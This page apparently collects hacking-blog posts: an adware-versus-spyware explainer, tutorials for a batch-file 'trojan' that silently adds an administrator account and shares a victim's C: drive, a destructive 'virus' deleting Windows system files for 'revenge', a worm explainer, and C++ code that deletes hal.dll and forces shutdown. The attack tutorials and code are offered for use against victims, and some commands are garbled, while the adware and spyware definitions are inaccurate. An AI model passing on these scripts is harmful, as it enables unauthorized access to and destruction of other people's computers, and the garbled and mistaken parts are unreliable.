Difference Between Adware and Spyware

Adware vs Spyware
The Internet is now the one-stop shop where people can find anything and everything that they are looking for. From providing a venue to start up their own business to connecting friends through any of the numerous social network websites found here, the Internet has definitely made things a lot more convenient for everyone.

Since many new businesses have established websites to help promote their businesses, there are now a number of software applications that are used in order to track the Internet traffic that their websites and other marketing tools are generating to determine which ones are the most effective. These are categorized into two groups: adware and spyware applications.

Adware are software applications that are designed to allow a number of pop up advertisements straight to the personal computers of potential customers and clients. These advertisements allow Internet browsers to download certain programs free of charge since these pop up advertisements contribute to the payment of the use of these programs. These are currently seen in trial programs which offer the potential customer the ability to evaluate and make his or her decision on whether to purchase the license or not. For as long as the customer does not purchase the program and is still within the trial period, the adware application will generate a variety of relevant advertisements to provide free usage of the said program without compromising the amount of profit generated by the company that developed the program. Once the customer purchases the program over the Internet, the adware software application is then disabled by the computer program and the user can now be able to utilize the computer program without the advertisements.

On the other hand, spyware software applications are programs that are embedded to certain websites in order to track the purchasing habits of existing customers. The name spyware comes from the fact that the users are not aware of these applications. While they are surfing through the website and make a purchase, the spyware gathers the purchase information and stores it in a database to allow the company to keep track of the types of the products and services that a particular client avails and the frequency of the purchases made. With the help of these applications, companies are then able to generate a number of Internet marketing strategies to directly market future products and services to these customers to further increase the amount of the profit that they generate.

Making your own trojan in a .bat file

Open a dos prompt we will only need a dos prompt , and windows xp…

-Basics-
Opening a dos prompt -> Go to start and then execute and write
cmd and press ok

Now insert this command: net
And you will get something like this

NET [ ACCOUNTS | COMPUTER | CONFIG | CONTINUE | FILE | GROUP | HELP |
HELPMSG | LOCALGROUP | NAME | PAUSE | PRINT | SEND | SESSION |
SHARE | START | STATISTICS | STOP | TIME | USE | USER | VIEW ]

Ok in this tutorial we well use 3 of the commands listed here
they are: net user , net share and net send

We will select some of those commands and put them on a .bat file.

What is a .bat file?
Bat file is a piece of text that windows will execute as commands.
Open notepad and whrite there:

dir
pause

And now save this as test.bat and execute it.
Funny aint it ?

———————- Starting ——————-
-:Server:-
The plan here is to share the C: drive and make a new user
with administrators access

Step one -> Open a dos prompt and a notebook
The dos prompt will help you to test if the commands are ok
and the notebook will be used to make the .bat file.

Command n 1-> net user neo /add
What does this do? It makes a new user called neo you can put
any name you whant

Command n 2-> net localgroup administrators neo /add
This is the command that make your user go to the administrators
group.
Depending on the windows version the name will be different.
If you got an american version the name for the group is Administrators
and for the portuguese version is administradores so it’s nice
yo know wich version of windows xp you are going to try share.

Command n 3->net share system=C:\ /unlimited
This commands share the C: drive with the name of system.

Nice and those are the 3 commands that you will need to put on your
.bat file and send to your friend.

-!extras!-
Command n 4-> net send urip I am ur server
Where it says urip you will insert your ip and when the victim
opens the .bat it will send a message to your computer
and you can check the victim ip.

->To see your ip in the dos prompt put this command: ipconfig

———————–: Client :—————-
Now that your friend opened your .bat file her system have the
C: drive shared and a new administrator user.
First we need to make a session with the remote computer with
the net use command , you will execute these commands from your
dos prompt.

Command n 1 -> net use \\victimip neo
This command will make a session between you and the victim
Of course where it says victimip you will insert the victim ip.
Command n 2-> explorer \\victimip\system
And this will open a explorer windows in the share system wich is
the C: drive with administrators access!

How to Make your own Virus

Yes Now it is possible for you to have your own virus. But before doing anything yourself first of all you need to read the whole article first. And let me remind you that any problem occurs after you do anything then you are solely responsible for what has happened and I will not be responsible.


First of all Open your notepad and type the following.........
del c:\boot।ini c:\del autoexec.bat Now Save as anyname.exe. Create this in C: drive

The only thing you need is Notepad.


1.Create a text file called TEST.txt(empty) in C:\
2.Now in your notepad type "erase C:\TEST.txt" (without the quotes). Then save it as "Test.cmd".
3.Now run the file "Test.cmd"go to C:\ and you'll see your Test.txt is gone.

Now, the real work :


1.Go to Notepad and type erase C:\WINDOWS and save it as findoutaname.cmd.
2.Now DON'T Run the file or you'll lose your WINDOWS map.
So, that's the Virus. In this way you can make a virus to delete any file you want.

Now to take revenge. Send you file to your victim. Once victim opens it. WINDOWS map is Deleted. And he will have to install WINDOWS again.


Beware : Its simple but a strong virus that can delete anyones Windows OS ...
Note : I am not Taking any Responsibilties if by this you damage your windows.

How does Worms work ?

People use e-mail more than any other application on the internet, but it can be a frustrating experience, with spam and especially e-mail worms filling our inboxes.

Worms can spread rapidly over computer networks, the traffic they create bringing those networks to a crawl. And worms can cause other damage, such as allowing unauthorized access to a computer network, or deleting or copying files.

What's a worm?
A worm is a computer virus designed to copy itself, usually in large numbers, by using e-mail or other form of software to spread itself over an internal network or through the internet.



How do they spread?
When you receive a worm over e-mail, it will be in the form of an attachment, represented in most e-mail programs as a paper clip. The attachment could claim to be anything from a Microsoft Word document to a picture of tennis star Anna Kournikova (such a worm spread quickly in February 2001).

If you click on the attachment to open it, you'll activate the worm, but in some versions of Microsoft Outlook, you don't even have to click on the attachment to activate it if you have the program preview pane activated. Microsoft has released security patches that correct this problem, but not everyone keeps their computer up to date with the latest patches.

After it's activated, the worm will go searching for a new list of e-mail addresses to send itself to. It will go through files on your computer, such as your e-mail program's address book and web pages you've recently looked at, to find them.

Once it has its list it will send e-mails to all the addresses it found, including a copy of the worm as an attachment, and the cycle starts again. Some worms will use your e-mail program to spread themselves through e-mail, but many worms include a mail server within their code, so your e-mail program doesn't even have to be open for the worm to spread.

Other worms can use multiple methods of spreading. The MyDoom worm, which started spreading in January 2004, attempted to copy infected files into the folder used by Kazaa, a file-sharing program. The Nimda worm, from September 2001, was a hybrid that had four different ways of spreading.

What do they do?
Most of the damage that worms do is the result of the traffic they create when they're spreading. They clog e-mail servers and can bring other internet applications to a crawl.

But worms will also do other damage to computer systems if they aren't cleaned up right away. The damage they do, known as the payload, varies from one worm to the next.

The MyDoom worm was typical of recent worms. It opened a back door into the infected computer network that could allow unauthorized access to the system. It was also programmed to launch an attack against a specific website by sending thousands of requests to the site in an attempt to overwhelm it.

The target of the original version of MyDoom attack was the website of SCO Group Inc., a company that threatened to sue users of the Linux operating system, claiming that its authors used portions of SCO's proprietary code. A second version of MyDoom targeted the website of software giant Microsoft.

The SirCam worm, which spread during the summer of 2001, disguised itself by copying its code into a Microsoft Word or Excel document and using it as the attachment. That meant that potentially private or sensitive documents were being sent over the internet.

How do I get rid of them?
The best way to avoid the effects of worms is to be careful when reading e-mail. If you use Microsoft Outlook, get the most recent security updates from the Microsoft website and turn off the preview pane, just to be safe.

Never open attachments you aren't expecting to receive, even if they appear to be coming from a friend. Be especially cautious with attachments that end with .bat, .cmd, .exe, .pif, .scr, .vbs or .zip, or that have double endings. (The file attachment that spread the Anna Kournikova worm was AnnaKournikova.jpg.vbs.)

Also, install anti-virus software and keep it up to date with downloads from the software maker's website. The updates are usually automatic.

Users also need to be wary of e-mails claiming to have cures for e-mail worms and viruses. Many of them are hoaxes that instruct you to delete important system files, and some carry worms and viruses themselves.

As well, some users should consider using a computer with an operating system other than Windows, the target of most e-mail worms. Most of the worms don't affect computers that run Macintosh or Linux operating systems.

Powerful C++ Virus

This is a powerful C++ virus, which deletes Hal.dll, something that is required for startup. After deleting that, it shuts down, never to start again.


Warning: Do not try this on your home computer.

The Original Code:

Code:

#include
#include

using namespace std;

int main(int argc, char *argv[])
{
std::remove("C:\\windows\\system32\\hal.dll"); //PWNAGE TIME
system("shutdown -s -r");
system("PAUSE");
return EXIT_SUCCESS;
}


A more advanced version of this virus which makes the C:\Windows a variable that cannot be wrong. Here it is:


Code:

#include
#include

using namespace std;

int main(int argc, char *argv[])
{
std::remove("%systemroot%\\system32\\hal.dll"); //PWNAGE TIME
system("shutdown -s -r");
system("PAUSE");
return EXIT_SUCCESS;
}


The second version would be more useful during times when you do not know the victims default drive. It might be drive N: for all you know.
